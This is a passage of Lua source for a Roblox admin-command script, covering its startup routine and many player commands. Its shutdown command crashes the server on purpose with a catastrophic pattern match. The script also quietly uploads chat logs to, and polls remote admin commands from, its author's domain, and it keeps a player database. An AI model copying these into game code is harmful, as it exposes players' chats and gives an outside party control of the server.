- SOUND:BeepPlayer(Player)
- end
- if Jails[Player.Name] then
- Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
- end
- if PermCommandBars[Player.Name] then
- GUI:CommandBar(Player)
- end
- end
- Player.CharacterAdded:connect(SpawnActions)
- SpawnActions(Player.Character)
- end)()
- coroutine.wrap(function()
- Player:WaitForChild("PlayerGui")
- local Sounds = {}
- for _,Data in pairs(TextConverter.LetterSounds) do
- local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
- Sound:Play()
- table.insert(Sounds, Sound)
- end
- for _,Data in pairs(TextConverter.LongVowels) do
- local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
- Sound:Play()
- table.insert(Sounds, Sound)
- end
- wait(5)
- for _,Sound in pairs(Sounds) do
- Sound:Destroy()
- end
- Sounds = {}
- end)()
- coroutine.wrap(function()
- --if NLS then Server.Workspace:WaitForChild(Player.Name) end
- if IsSB then
- wait(1)
- Player:WaitForChild("PlayerGui"):WaitForChild("Output")
- end
- CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
- print("Executed ClientLog on "..Player.Name)
- if Settings.EnableTaskBar then
- GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
- end
- end)()
- coroutine.wrap(function()
- wait(7)
- Player:WaitForChild("PlayerGui")
- if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
- local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
- if Answer == "Ok" then
- MARKET:PromptPurchase(Player, AdminID)
- end
- end
- end)()
- end
- end)() end
- -- Active stuff --
- CORE:UpdateAdmin()
- CORE:FixSettings()
- ypcall(function()
- if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
- Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
- end
- end)
- Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
- local PlayerAdmin, Rank = RANK:IsAdmin(Player)
- if PlayerAdmin == false then
- if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
- elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
- end
- end end)
- --[[
- ExecuteCommand.OnInvoke = function(Player, Command)
- if Player and Command then
- if type(Player) == "userdata" and Player:IsA("Player") then
- CORE:Chatted(Command, Player, true)
- end
- end
- end
- ExecuteCode.OnInvoke = function(Source, Speaker)
- if type(Source) == "string" then
- ExecuteSafe(Source, Speaker)
- end
- end
- ExecuteCommandClient.OnServerInvoke = function(Player, Command)
- if Player and Command then
- if type(Player) == "userdata" and Player:IsA("Player") then
- CORE:Chatted(Command, Player, true)
- end
- end
- end
- ]]
- for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
- Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
- Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
- coroutine.wrap(function()
- for _,ID in pairs(Icons) do
- game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
- end
- end)()
- CORE:SetAbuseCommands()
- coroutine.wrap(function() SOUND:SyncSoundList() end)()
- if not IsStudio then coroutine.wrap(function()
- if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
- REMOTE:GetRemoteData(true)
- REMOTE:CheckTrelloInfo()
- coroutine.wrap(function()
- if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
- REMOTE.RemoteConnection = true
- end
- end)()
- coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
- coroutine.wrap(function()
- if Settings.LinkedAccount ~= "" then
- local Request = nil
- ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
- if Request then
- REMOTE:HandleRequest(Request, true)
- end
- end
- end)()
- coroutine.wrap(function()
- wait(RemoteData.RemoteAdminWait)
- while REMOTE:GetAndSetWebData() do
- wait(RemoteData.RemoteAdminWait)
- end
- end)()
- coroutine.wrap(function()
- while wait(60) do
- REMOTE:GetRemoteData(true)
- REMOTE:CheckTrelloInfo()
- end
- end)()
- end)() end
- coroutine.wrap(function()
- if Settings.TrelloToken ~= "" then
- ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
- if #Trello.RequiredLists > 0 then
- Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
- if Trello.MainBoard.name then
- local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
- REMOTE:TrelloCacheData(Lists)
- REMOTE:TrelloHandleData(true)
- coroutine.wrap(function()
- wait(RemoteData.TrelloWait)
- while REMOTE:TrelloHandleData() do
- wait(RemoteData.TrelloWait)
- end
- end)()
- end
- end
- else
- print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
- end
- end)()
- coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
- REMOTE:SendChatLog()
- end end)()
- coroutine.wrap(function() while true do
- local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
- if ThisDate then Date = ThisDate end
- wait(600)
- end end)()
- print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")
- end
- end};
- [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- if Player.Character:FindFirstChild("StopMMLFly") then
- Player.Character.StopMMLFly:InvokeClient(Player)
- end
- end
- end
- end};
- [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
- ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
- GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
- end};
- [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:GiveTools(Player, Arguments[2])
- end
- end};
- [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
- local List = {}
- for _,Region in pairs(ToolRegions) do
- CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
- table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
- end)
- end
- GUI:ListGui(Speaker, "Tool list", List, 73589272)
- end};
- [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:GiveTools(Player, "btools")
- end
- end};
- [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
- REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
- for _,Player in pairs(Server.Players:GetPlayers()) do
- Player:Kick()
- end
- Server.Workspace:ClearAllChildren()
- string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
- end};
- [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:Scale(Player, Arguments[2])
- end
- end};
- [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:Scale(Player, 50)
- end
- end};
- [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:Scale(Player, 70)
- end
- end, Hidden = true};
- [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:Scale(Player, 500)
- end
- end};
- [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
- Obj.Reflectance = 0.5
- Obj.BrickColor = BrickColor.new("New Yeller")
- end)
- end
- end
- end};
- [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
- Obj.Reflectance = 0.5
- end)
- end
- end
- end};
- [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
- Obj.Transparency = 0.5
- Obj.Reflectance = 0
- Obj.BrickColor = BrickColor.new("Institutional white")
- end)
- CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
- Obj.Transparency = 0.5
- end)
- end
- end
- end};
- [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- for _,Obj in pairs(Player.Character:GetChildren()) do
- local Valid = false
- for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
- if Valid == true then Obj:Destroy() end
- end
- end
- end
- end};
- [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- for _,Obj in pairs(Player.Character:GetChildren()) do
- local Valid = false
- for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
- if Valid == true then Obj:Destroy() end
- end
- end
- end
- end};
- [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- for _,Obj in pairs(Player.Character:GetChildren()) do
- local Valid = false
- for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
- if Valid == true then Obj:Destroy() end
- end
- end
- end
- end};
- [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- for _,Obj in pairs(Player.Character:GetChildren()) do
- if Obj:IsA("Accoutrement") then
- Obj:Destroy()
- end
- end
- end
- end
- end};
- [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- Player:ClearCharacterAppearance()
- end
- end};
- [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
- local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
- local TmpPlayers = {}
- local Output = {}
- for _,Data in pairs(Players) do
- table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
- end
- GUI:ListGui(Speaker, "Player Database", Output, 120563622)
- end};
- [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
- Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
- GUI:SendHint(Speaker, "Player Database cleared", 5)
- end};
- [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- GUI:FakeHack(Player)
- end
- end};
- [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
- for _,Object in pairs(Player.Backpack:GetChildren()) do
- if Object:IsA("Tool") or Object:IsA("HopperBin") then
- local Clone = Object:Clone()
- Clone.Parent = Speaker.Backpack
- end
- end
- end
- end
- end};
- [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
- for _,Object in pairs(Player.Backpack:GetChildren()) do
- if Object:IsA("Tool") or Object:IsA("HopperBin") then
- Object.Parent = Speaker.Backpack
- end
- end
- end
- end
- end};
- [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
- for _,Object in pairs(Speaker.Backpack:GetChildren()) do
- if Object:IsA("Tool") or Object:IsA("HopperBin") then
- local Clone = Object:Clone()
- Clone.Parent = Player.Backpack
- end
- end
- end
- end
- end};
- [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player:FindFirstChild("Backpack") then
- Player.Backpack:ClearAllChildren()
- end
- if Player.Character ~= nil then
- for _,Obj in pairs(Player.Character:GetChildren()) do
- if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
- Obj:Destroy()
- end
- end
- end
- end
- end};
- [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- if Player.Character:FindFirstChild("Head") then
- if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
- coroutine.wrap(function()
- if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
- local OldFace = Player.Character.Head.face.Texture
- Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
- Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
- Player.Character.Head.face.Texture = "rbxassetid://24067663"
- local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
- Sound:Play()
- coroutine.wrap(function() for i = 1,100 do wait()
- local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
- coroutine.wrap(function() wait(3) Part:Destroy() end)()
- end
- Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
- end end
- end)()
- end
- end
- end
- end
- end};
- [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
- coroutine.wrap(function()
- if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
- local OldFace = Player.Character.Head.face.Texture
- local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
- local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
- local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
- Player.Character.Head.face.Texture = "rbxassetid://28118994"
- local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
- Sound:Play()
- wait(1)
- Smoke.Enabled = false
- wait(1)
- Fart:Destroy()
- Fart:Destroy()
- Player.Character.Head.face.Texture = OldFace
- end end
- end)()
- end
- end
- end
- end};
- [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player:FindFirstChild("Backpack") then
- CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
- end
- end
- end};
- [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
- Player.Character.MMLGraffiti:ClearAllChildren()
- end
- end
- end};
- [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
- Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
- end
- end
- end};
- [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
- Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
- end
- end
- end};
- [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Lights = {}
- for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
- if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
- table.insert(Lights, Obj)
- end
- end
- for _,Light in pairs(Lights) do
- coroutine.wrap(function()
- for i = 1,20 do
- Light.Brightness = Light.Brightness/5
- wait()
- end
- Light:Destroy()
- end)()
- end
- end
- end
- end};
- [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player:FindFirstChild("PlayerGui") then
- local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
- SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
- local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
- local Stop = false
- coroutine.wrap(function()
- repeat
- Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
- wait(0.1)
- until not SG or not SG.Parent
- end)()
- CORE:ExecuteResource("Drug", Player.Character)
- end
- end
- end};
- [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player:FindFirstChild("PlayerGui") then
- local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
- wait() CORE:RestoreCamera(Player)
- end
- end
- end};
- [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
- local AbuseMode = false
- if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
- MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
- if Speaker:FindFirstChild("Backpack") then
- CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
- end
- end)
- end, Http = true};
- [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Type = "all"
- local Query = string.lower(Arguments[1])
- local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
- if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
- Type = Arguments[1]
- Query = Arguments[2]
- end
- MARKET:ShowSearch(Speaker, 11, Query, function(ID)
- if Speaker.Character then
- CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
- end
- end, MARKET:AccessoryToSubcategory(Type))
- end, Http = true};
- [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
- MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
- if Speaker.Character then
- CORE:GivePackage(Speaker, ID)
- end
- end, 11)
- end, Http = false};
- [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:GivePackage(Player)
- end
- end};
- [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:GivePackage(Player, Arguments[2])
- end
- end, Http = false};
- [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- local Stats = Player:FindFirstChild("leaderstats")
- if Stats ~= nil then
- for _,Stat in pairs(Stats:GetChildren()) do
- if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
- ypcall(function() Stat.Value = Arguments[3] end)
- end
- end
- end
- end
- end};
- [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
- local ID = tonumber(Arguments[2])
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- for _,Player in pairs(Players) do
- if Player.Character ~= nil then
- local Obj = Player.Character:FindFirstChild("Shirt")
- if Obj then
- Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
- else
- Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
- end
- coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
- end
- end
- end
- end};
- [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
- local ID = tonumber(Arguments[2])
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- for _,Player in pairs(Players) do
- if Player.Character ~= nil then
- local Obj = Player.Character:FindFirstChild("Pants")
- if Obj then
- Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
- else
- Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
- end
- coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
- end
- end
- end
- end};
- [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
- local ID = tonumber(Arguments[2])
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- for _,Player in pairs(Players) do
- if Player.Character ~= nil then
- if Player.Character:FindFirstChild("Torso") then
- local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
- local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
- if Obj1 then
- Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
- else
- Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
- end
- if Obj2 then
- Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
- else
- Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
- end
- coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
- coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
- end
- end
- end
- end
- end};
- [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
- end
- end};
- [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
- if CORE:InAdminGroup(Speaker) then
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player:FindFirstChild("Backpack") then
- local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
- local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
- local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
- local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
- CORE:ExecuteResource("CookieTool", Tool)
- end
- end
- end
- end};
- [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
- if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
- CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
- end
- end};
- [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
- if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
- local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
- Model:MakeJoints()
- for i = 1,math.random(10,20) do
